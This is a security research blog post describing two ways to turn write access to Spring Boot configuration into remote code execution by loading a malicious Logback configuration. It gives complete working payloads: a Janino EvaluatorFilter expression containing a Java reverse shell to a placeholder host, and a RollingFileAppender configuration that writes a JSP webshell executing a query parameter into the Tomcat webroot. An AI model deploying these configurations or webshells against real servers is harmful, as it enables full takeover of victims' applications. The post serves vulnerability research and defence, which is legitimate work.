Remote Code Execution with Spring Boot 3.4.0 Properties
I recently came across this great article by Steven Seeley. In it, a student of Steven's had a limited file write vulnerability in a Spring application. Steven was able to leverage control of the Spring application.xml
file to set arbitrary Spring properties and abuse this to reconfigure the Logback library to achieve Remote Code Execution (RCE). In his conclusion, Steven stated there are likely other mechanisms to achieve RCE and encouraged other researchers to explore Spring. This inspired me to do exactly that, and in this post, I will detail how I found two alternative paths to obtain RCE in Spring.
I wanted to find a generic approach that works with the latest versions of Spring, so for the analysis my setup was using Java 21, Tomcat 10.1, and Spring Boot 3.4.0. I created a simple vulnerable application that mimicked the mock code Steven presented in his article that contained an issue allowing an arbitrary xml
file to be written to the Tomcat root directory. This article will not go into these details as Steven already covered this, and it is not relevant for the task of abusing Spring properties to achieve RCE. The techniques in this article assume that the attack has the ability via some application-level vulnerability to modify the Spring configuration.
With the background laid out, let’s dive into the two pathways to RCE via Spring properties.
Logback EvaluatorFilter
As mentioned in Steven’s article. The Spring logging.config
property can be used to provide Spring with a Logback configuration file. This looks something like this:
1<!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd">
2<properties>
3 <entry key="logging.config">http://[HOST]:[PORT]/logback.xml</entry>
4</properties>
While reading the documentation for Logback, I also saw that Logback can be configured via a logback.groovy
file. This piqued my interest as Groovy is a full language in itself, however when trying to load a remote Groovy file I was faced with XML parsing errors and after some more reading, it appears Logback has dropped Groovy support by default for this exact reason. So unfortunately this approach isn’t an option.
Eventually, I came across the Filters
documentation. In Logback, Filters are based on ternary logic and allow policies to be defined to selectively process specific logging events. Out of the documented filters, the EvaluatorFilter
immediately looked interesting.
<configuration>
<appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
<filter class="ch.qos.logback.core.filter.EvaluatorFilter">
<evaluator> <!-- defaults to type ch.qos.logback.classic.boolex.JaninoEventEvaluator -->
<expression>return message.contains("billing");</expression>
</evaluator>
<OnMismatch>NEUTRAL</OnMismatch>
<OnMatch>DENY</OnMatch>
</filter>
<encoder>
<pattern>
%-4relative [%thread] %-5level %logger -%kvp -%msg%n
</pattern>
</encoder>
</appender>
<root level="INFO">
<appender-ref ref="STDOUT" />
</root>
</configuration>
The Expression
element in the above example allows an arbitrary Java block to be evaluated to allow fine-grained policies to be defined. Here we can place arbitrary Java and achieve RCE.
<configuration>
<appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
<filter class="ch.qos.logback.core.filter.EvaluatorFilter">
<evaluator>
<expression>
<![CDATA[
try {
java.net.Socket socket = new java.net.Socket("[HOST]", [PORT]);
java.io.InputStream in = socket.getInputStream();
java.io.OutputStream out = socket.getOutputStream();
java.util.Scanner scanner = new java.util.Scanner(in);
java.io.PrintWriter writer = new java.io.PrintWriter(out, true);
writer.println("Reverse shell connected!");
while (scanner.hasNextLine()) {
String command = scanner.nextLine();
try {
String output = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A").next();
writer.println(output);
} catch (Exception e) {
writer.println("Error executing command: " + e.getMessage());
}
}
socket.close();
} catch (Exception e) {
e.printStackTrace();
}
return message.contains("billing");
]]>
</expression>
</evaluator>
<OnMismatch>NEUTRAL</OnMismatch>
<OnMatch>DENY</OnMatch>
</filter>
<encoder>
<pattern>
pwnpwnpwn %-4relative [%thread] %-5level %logger -%kvp -%msg%n
</pattern>
</encoder>
</appender>
<root level="DEBUG">
<appender-ref ref="STDOUT" />
</root>
</configuration>
The above configuration includes a typical reverse shell payload in the expression
. This results in an interactive shell.
While this works, it isn’t a generic exploit as I hoped. TheEvaluatorFilter
has a dependency on Janino
, a small, fast Java compiler. This dependency is not included by default in Spring Boot applications so for this approach to work, the target application must already be using Janino in some capacity. Let’s continue exploring…
FileAppender
Logback delegates the task of writing a logging event to components called appenders. Appenders implement the ch.qos.logback.core.Appender
interface and are ultimately responsible for outputting logging events. The most common Appenders you will see are the Console
and File
appenders, which output log events to STDOUT
or a file respectively. The below Logback config shows an example using both types.
<configuration>
<appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
<encoder>
<pattern>%-4relative [%thread] %-5level %logger{35} -%kvp- %msg %n</pattern>
</encoder>
</appender>
<appender name="FILE" class="ch.qos.logback.core.FileAppender">
<file>testFile.log</file>
<append>true</append>
<immediateFlush>true</immediateFlush>
<encoder>
<pattern>%-4relative [%thread] %-5level %logger{35} -%kvp- %msg%n</pattern>
</encoder>
</appender>
<root level="DEBUG">
<appender-ref ref="STDOUT" />
<appender-ref ref="FILE" />
</root>
</configuration>
In the above file appender, we can specify the path to write out the log file, and within the pattern, we define how our log events will be formatted. Each event logged will result in a new line being written to the destination log according to the defined pattern.
You may already see where this is going, we can write to an arbitrary location and control the contents of lines being appended to the file. This has all the signs of a classical webshell. If we can write a jsp
file to the webroot for our application, we can then request this resource via HTTP, at which point Tomcat will execute any Java code contained within the file.
There is some nuance in how we must exploit this however, as you can see, the Logback configuration file is in the XML format so we must encode our angle brackets (<
and >
) or use CDATA to ensure the document valid is XML. In addition, some other characters such as %
and )
have special meanings in Logback concerning the pattern, so these must be appropriately escaped otherwise we will encounter errors while Logback is parsing the pattern.
We can put all this together and use java.lang.Runtime.exec
to build a payload that reads a query parameter and executes it as a shell command.
<pattern><\% try { String command = request.getParameter("c"\); String result = new java.util.Scanner(Runtime.getRuntime(\).exec(command\).getInputStream(\)\).useDelimiter("\\\\A"\).next(\); out.print(result\); } catch (Exception e\) { e.printStackTrace(\); } \%></pattern>
Now while the above payload works, we do have another problem. When trying to request the webshell you may encounter the below error:
springtest-tomcat-1 | An error occurred at line: [84] in the generated java file: [/usr/local/tomcat/work/Catalina/localhost/helloworld/org/apache/jsp/logs/tests_jsp.java]
springtest-tomcat-1 | The code of method _jspService(HttpServletRequest, HttpServletResponse) is exceeding the 65535 bytes limit
As the FileAppender is going to append the Java for our webshell to our malicious logfile every time a log would be written, it's very easy for the file to exceed the bytecode limit specified in the Java Virtual Machine Specification which makes this exploit unreliable, as legitimate logging events can build up and make our file exceed the limit.
One potential solution here is to use Logbacks support for conditional configurations which would allow the Appender to only write when a specific condition is satisfied, however upon further inspection, conditional configurations have a dependency on Janino
like our previous RCE technique. Therefore this is not a generic solution for any Spring Boot application.
Ultimately the solution to this is quite simple, we can leverage Logbacks log file rotation to set a maximum file size for our log, ensuring that the bytecode limit is never exceeded.
<configuration debug="true">
<appender name="FILE" class="ch.qos.logback.core.rolling.RollingFileAppender">
<file>/usr/local/tomcat/webapps/helloworld/logs/tests.jsp</file>
<append>true</append>
<rollingPolicy class="ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy">
<fileNamePattern>/usr/local/tomcat/webapps/helloworld/logs/tests-%d{yyyy-MM-dd}.%i.jsp</fileNamePattern>
<maxFileSize>1KB</maxFileSize>
<maxHistory>3</maxHistory>
<totalSizeCap>3KB</totalSizeCap>
</rollingPolicy>
<encoder class="ch.qos.logback.classic.encoder.PatternLayoutEncoder">
<pattern><\% try { String command = request.getParameter("c"\); String result = new java.util.Scanner(Runtime.getRuntime(\).exec(command\).getInputStream(\)\).useDelimiter("\\\\A"\).next(\); out.print(result\); } catch (Exception e\) { e.printStackTrace(\); } \%></pattern>
</encoder>
</appender>
<root level="debug">
<appender-ref ref="FILE" />
</root>
</configuration>
While this isn’t the most elegant approach as our webshell is still written to the webshell multiple times, the technique works reliably and allows us to achieve our goal of RCE as shown below.
Caveats
The deployment method of a Spring application can significantly impact the exploitability of these techniques. Our approach assumes the ability to upload or modify a Spring configuration file and requires the application to be restarted for the changes to take effect. However, in containerized environments, persisting an attacker-controlled Spring configuration file after the application restart may pose challenges, depending on the deployment configuration.
Conclusion
I introduced two methods for leveraging Logback configuration to achieve Remote Code Execution (RCE) in Spring Boot applications. These techniques are effective on the latest version of Spring Boot, with the second approach requiring no additional dependencies.
The extensive configuration options in Logback and Spring likely harbor many other features that could be exploited to escalate a simple restricted file write into RCE within Spring applications. As Steven aptly suggests, I strongly encourage fellow researchers to delve deeper into the intricacies of Spring for further exploration.
Bridge the gap between security and development
Discover the six pillars for DevSecOps success and how they can apply to your organization.